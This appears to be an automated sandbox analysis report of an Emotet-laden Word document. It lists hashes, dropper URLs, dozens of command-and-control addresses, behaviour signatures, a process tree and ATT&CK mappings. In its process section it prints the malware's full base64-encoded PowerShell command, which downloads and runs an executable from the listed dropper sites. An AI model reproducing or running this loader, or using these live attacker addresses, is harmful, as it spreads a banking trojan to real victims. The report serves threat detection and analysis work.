emotet | a9dcb6455e548ceba6c7c9eaffdb8fbb49b64d2e0bc2ffb9799336ab019d6d18

General

Target
emotet_e1_a9dcb6455e548ceba6c7c9eaffdb8fbb49b64d2e0bc2ffb9799336ab019d6d18_2020-10-01__172112593181._doc.doc
Size 163KB
Sample201001-xdk63g19pn
SHA256 a9dcb6455e548ceba6c7c9eaffdb8fbb49b64d2e0bc2ffb9799336ab019d6d18
MD5 ae593313b39e9c24d63f7fa98b6a5e5e
SHA1 a95ef33f986197d2015030d26ffb6a59850fd22f
SHA512 5877f57d2fe344c4c9326a12e36f472c86d3736b283f5c7f1ab668039dc03be2e8c3d9c821b0f026fc381f09bdc428868d3e8ba350c0f025ba955c9f7f404b68
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.removepctrojan.com/wp-admin/K/
exe.dropper
https://theshaywest.com/wp-admin/V/
exe.dropper
http://carstarai.com/stats/D/
exe.dropper
http://financiamentointeligente.com/wp-content/F/
exe.dropper
http://banglashongbad.com/wp-content/sW/
exe.dropper
http://www.sff3d.com/3d/D/
exe.dropper
https://emmaidea.com/wp-includes/q/

Extracted

Family

emotet

C2

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3640	3684	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1936-15-0x0000000000530000-0x0000000000542000-memory.dmp	emotet
behavioral2/memory/1936-16-0x0000000000550000-0x0000000000560000-memory.dmp	emotet
behavioral2/memory/1332-19-0x0000000000570000-0x0000000000582000-memory.dmp	emotet
behavioral2/memory/1332-20-0x00000000006E0000-0x00000000006F0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3640	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1936	Iax46d69.exe
1332	Windows.Networking.Connectivity.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mapistub\Windows.Networking.Connectivity.exe	Iax46d69.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3640	POwersheLL.exe
3640	POwersheLL.exe
3640	POwersheLL.exe
1332	Windows.Networking.Connectivity.exe
1332	Windows.Networking.Connectivity.exe
1332	Windows.Networking.Connectivity.exe
1332	Windows.Networking.Connectivity.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3640	POwersheLL.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
1936	Iax46d69.exe
1332	Windows.Networking.Connectivity.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 1936	3640	POwersheLL.exe	79
PID 3640 wrote to memory of 1936	3640	POwersheLL.exe	79
PID 3640 wrote to memory of 1936	3640	POwersheLL.exe	79
PID 1936 wrote to memory of 1332	1936	Iax46d69.exe	80
PID 1936 wrote to memory of 1332	1936	Iax46d69.exe	80
PID 1936 wrote to memory of 1332	1936	Iax46d69.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a9dcb6455e548ceba6c7c9eaffdb8fbb49b64d2e0bc2ffb9799336ab019d6d18_2020-10-01__172112593181._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABUAGYANwBsAGYAXwB2AD0AKAAnAEEAeAAnACsAJwBuAHgAJwArACgAJwAxACcAKwAnAGgAdgAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAGUAUgBQAHIATwBGAEkAbABFAFwAaABzAGsAZwByAE8AOABcAHYAZgA4AHkANgBkAEoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAdQByAGkAVAB5AHAAYABSAE8AdABPAGAAYwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACgAJwBsAHMAJwArACcAMQAnACkAKwAoACcAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEkAcwA4ADkANQBzAGcAIAA9ACAAKAAoACcASQAnACsAJwBhAHgAJwApACsAJwA0ACcAKwAoACcANgAnACsAJwBkADYAOQAnACkAKQA7ACQARgB2AHoANgA3AGoAaQA9ACgAKAAnAFEAJwArACcAZwB6AHgAJwApACsAJwA3AG4AJwArACcAawAnACkAOwAkAEkAaQA4AHAANgAyAHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBDAFAAJwArACcAeQBIAHMAJwApACsAJwBrAGcAJwArACgAJwByACcAKwAnAG8AOABDAFAAeQBWACcAKQArACcAZgAnACsAJwA4ACcAKwAnAHkAJwArACgAJwA2AGQAagBDAFAAJwArACcAeQAnACkAKQAgACAALQBSAGUAUABMAEEAYwBFACgAJwBDACcAKwAnAFAAeQAnACkALABbAEMASABBAHIAXQA5ADIAKQArACQASQBzADgAOQA1AHMAZwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFMAZgA2AGIAagBfAHgAPQAoACcASQBtACcAKwAnADUAcQAnACsAKAAnAHEAJwArACcAcQB5ACcAKQApADsAJABLAGIAcgBpAHQAYwBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAFcAZQBCAGMATABJAEUAbgBUADsAJABJAHUAMQB6AGYAeABmAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwB3AHcAJwArACcAdwAuAHIAZQAnACsAJwBtACcAKwAnAG8AdgAnACkAKwAnAGUAJwArACgAJwBwAGMAJwArACcAdAByAG8AJwArACcAagAnACsAJwBhACcAKwAnAG4ALgBjAG8AbQAvACcAKQArACgAJwB3AHAALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8ASwAnACkAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAOgAnACkAKwAoACcALwAvACcAKwAnAHQAJwApACsAJwBoAGUAJwArACgAJwBzACcAKwAnAGgAYQAnACkAKwAnAHkAJwArACcAdwBlACcAKwAnAHMAJwArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYQBkAG0AJwApACsAKAAnAGkAbgAvAFYAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBjACcAKQArACgAJwBhAHIAJwArACcAcwB0ACcAKQArACcAYQAnACsAKAAnAHIAYQAnACsAJwBpAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AcwAnACkAKwAoACcAdAAnACsAJwBhAHQAJwArACcAcwAvAEQALwAnACsAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAaQBuAGEAbgAnACsAJwBjAGkAYQBtAGUAJwArACcAbgAnACkAKwAoACcAdABvAGkAJwArACcAbgB0AGUAbABpACcAKQArACcAZwBlACcAKwAnAG4AJwArACgAJwB0AGUALgBjACcAKwAnAG8AbQAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC8ARgAvACcAKQArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AYgBhAG4AZwBsAGEAcwBoACcAKwAnAG8AbgAnACkAKwAnAGcAYgAnACsAJwBhACcAKwAoACcAZAAuAGMAbwAnACsAJwBtAC8AdwAnACkAKwAnAHAALQAnACsAKAAnAGMAJwArACcAbwBuAHQAZQBuAHQAJwApACsAKAAnAC8AcwAnACsAJwBXAC8AKgBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwB3AHcAJwArACcAdwAuACcAKwAnAHMAZgBmACcAKwAnADMAZAAuAGMAbwBtACcAKQArACgAJwAvADMAZAAvACcAKwAnAEQAJwApACsAKAAnAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcABzADoALwAvACcAKwAnAGUAJwApACsAJwBtACcAKwAnAG0AJwArACgAJwBhAGkAJwArACcAZAAnACkAKwAoACcAZQBhACcAKwAnAC4AYwBvAG0AJwArACcALwB3ACcAKQArACcAcAAtACcAKwAoACcAaQBuAGMAbAB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACcALwBxACcAKwAnAC8AJwApAC4AIgBTAHAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAMAA5AHAANwAyAGYAPQAoACcARAAnACsAJwBuACcAKwAoACcAZABiADgAOQAnACsAJwBxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBzAHQAOQBsAGUAagAgAGkAbgAgACQASQB1ADEAegBmAHgAZgApAHsAdAByAHkAewAkAEsAYgByAGkAdABjAHAALgAiAEQAbwBXAG4AbABvAGAAQQBgAEQAYABGAEkAbABlACIAKAAkAEIAcwB0ADkAbABlAGoALAAgACQASQBpADgAcAA2ADIAdAApADsAJABKADcAZgA5AF8AOABjAD0AKAAoACcAWQAnACsAJwBlAHMAdAAnACkAKwAoACcAcAA0ACcAKwAnADUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQASQBpADgAcAA2ADIAdAApAC4AIgBMAGAAZQBgAE4ARwBUAGgAIgAgAC0AZwBlACAAMgAzADcANwA3ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEkAaQA4AHAANgAyAHQAKQA7ACQASwB6ADkAcQA3AGMAXwA9ACgAKAAnAE0AJwArACcAOAA3ADgAdgAnACkAKwAnAHkAbwAnACkAOwBiAHIAZQBhAGsAOwAkAEYAZAB2AGwAMQBrAGIAPQAoACgAJwBTAHIAMgAnACsAJwBpACcAKQArACgAJwB3ADAAJwArACcAbQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB1AHMAagBzAGgAcwA9ACgAJwBFADkAJwArACgAJwB0AF8AaAAnACsAJwBtAG0AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Users\Admin\Hskgro8\Vf8y6dj\Iax46d69.exe
  "C:\Users\Admin\Hskgro8\Vf8y6dj\Iax46d69.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\SysWOW64\mapistub\Windows.Networking.Connectivity.exe
    "C:\Windows\SysWOW64\mapistub\Windows.Networking.Connectivity.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1332-19-0x0000000000570000-0x0000000000582000-memory.dmp

Download

memory/1332-20-0x00000000006E0000-0x00000000006F0000-memory.dmp

Download

memory/1936-15-0x0000000000530000-0x0000000000542000-memory.dmp

Download

memory/1936-16-0x0000000000550000-0x0000000000560000-memory.dmp

Download

memory/3640-9-0x00007FFE01AE0000-0x00007FFE024CC000-memory.dmp

Download

memory/3640-10-0x000001BC375E0000-0x000001BC375E1000-memory.dmp

Download

memory/3640-11-0x000001BC378D0000-0x000001BC378D1000-memory.dmp

Download

memory/3900-8-0x000001B14BA1B000-0x000001B14BA26000-memory.dmp

Download

memory/3900-7-0x000001B14BA1B000-0x000001B14BA26000-memory.dmp

Download

memory/3900-0-0x00007FFE08A00000-0x00007FFE090C6000-memory.dmp

Download

memory/3900-6-0x000001B14BA1B000-0x000001B14BA26000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads